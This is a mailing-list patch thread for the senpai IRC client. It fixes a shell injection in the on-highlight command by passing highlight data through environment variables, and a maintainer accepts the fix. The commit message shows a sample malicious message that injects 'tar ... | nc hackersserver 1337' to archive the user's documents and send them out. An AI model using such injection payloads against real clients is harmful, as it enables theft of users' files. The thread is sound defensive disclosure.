This thread contains a patchset. You're looking at the original emails, but you may wish to use the patch review UI. Review patch

[PATCH senpai] Use environment variables for on-highlight

Message ID
DKIM signature
Download raw message
Patch: +16 -17
Breaking change!

The old approach of format modifiers is not ideal and usually has
problems with shell quoting, that way anyone is able to get a remote
shell just by sending a malicious message like:

    <evilhacker> "; tar -c $(find documents) | nc hackersserver 1337; "

Given that my on-highlight is:
    notify-send "%b" "<%n> %m"

This would be transformed into:

    notify-send "#cmpwn" "<evilhacker> "; tar -c $(find documents) | nc hackersserver 1337; ""

And this way it becomes a huge security vulnerability.

When using environment variables combined with double quotes, shell
escapes everything that appears there and gives the raw result to
command executed.

Though, this requires a little update to users' on-highlight setting:

  %b -> $BUFFER
  %n -> $SENDER
  %m -> $MESSAGE
  %h -> $HERE
 app.go           | 17 +++++++++--------
 doc/senpai.5.scd | 16 +++++++---------
 2 files changed, 16 insertions(+), 17 deletions(-)

diff --git a/app.go b/app.go
index 5a57c01..17acd59 100644
--- a/app.go
+++ b/app.go
@@ -4,6 +4,7 @@ import (
@@ -564,14 +565,14 @@ func (app *App) notifyHighlight(buffer, nick, content string) {
	if buffer == app.win.CurrentBuffer() {
		here = "1"
	r := strings.NewReplacer(
		"%%", "%",
		"%b", buffer,
		"%h", here,
		"%n", nick,
		"%m", cleanMessage(content))
	command := r.Replace(app.cfg.OnHighlight)
	output, err := exec.Command(sh, "-c", command).CombinedOutput()
	cmd := exec.Command(sh, "-c", app.cfg.OnHighlight)
	cmd.Env = append(os.Environ(),
		fmt.Sprintf("BUFFER=%s", buffer),
		fmt.Sprintf("HERE=%s", here),
		fmt.Sprintf("SENDER=%s", nick),
		fmt.Sprintf("MESSAGE=%s", cleanMessage(content)),
	output, err := cmd.CombinedOutput()
	if err != nil {
		body := fmt.Sprintf("Failed to invoke on-highlight command: %v. Output: %q", err, string(output))
		app.win.AddLine(Home, false, ui.Line{
diff --git a/doc/senpai.5.scd b/doc/senpai.5.scd
index 1218f73..5aab8e3 100644
--- a/doc/senpai.5.scd
+++ b/doc/senpai.5.scd
@@ -39,19 +39,17 @@ Some settings are required, the others are optional.

	A command to be executed via _sh_ when you are highlighted.  The following
	format specifiers are expanded with respect to the highlight:
	environment variables are set with repect to the highlight:

[[ *Format specifier*
[[ *Environment variable*
:< *Description*
|  %%
:  literal %
|  %b
:  buffer where the message appeared
|  %h
:  equals 1 if _%b_ is the current buffer, 0 otherwise
|  %m
:  equals 1 if _BUFFER_ is the current buffer, 0 otherwise
:  content of the message
|  %n
:  nickname of the sender

Message ID
<20210501101704.15303-1-yyp@disroot.org> (view parent)
DKIM signature
Download raw message
Wow, nice one.  Didn't have shell injections in mind when I made this,
sorry if it has affected you.

Pushed your patch, and another one to update the example and add a
warning about quoting the variables:

Reply to thread Export thread (mbox)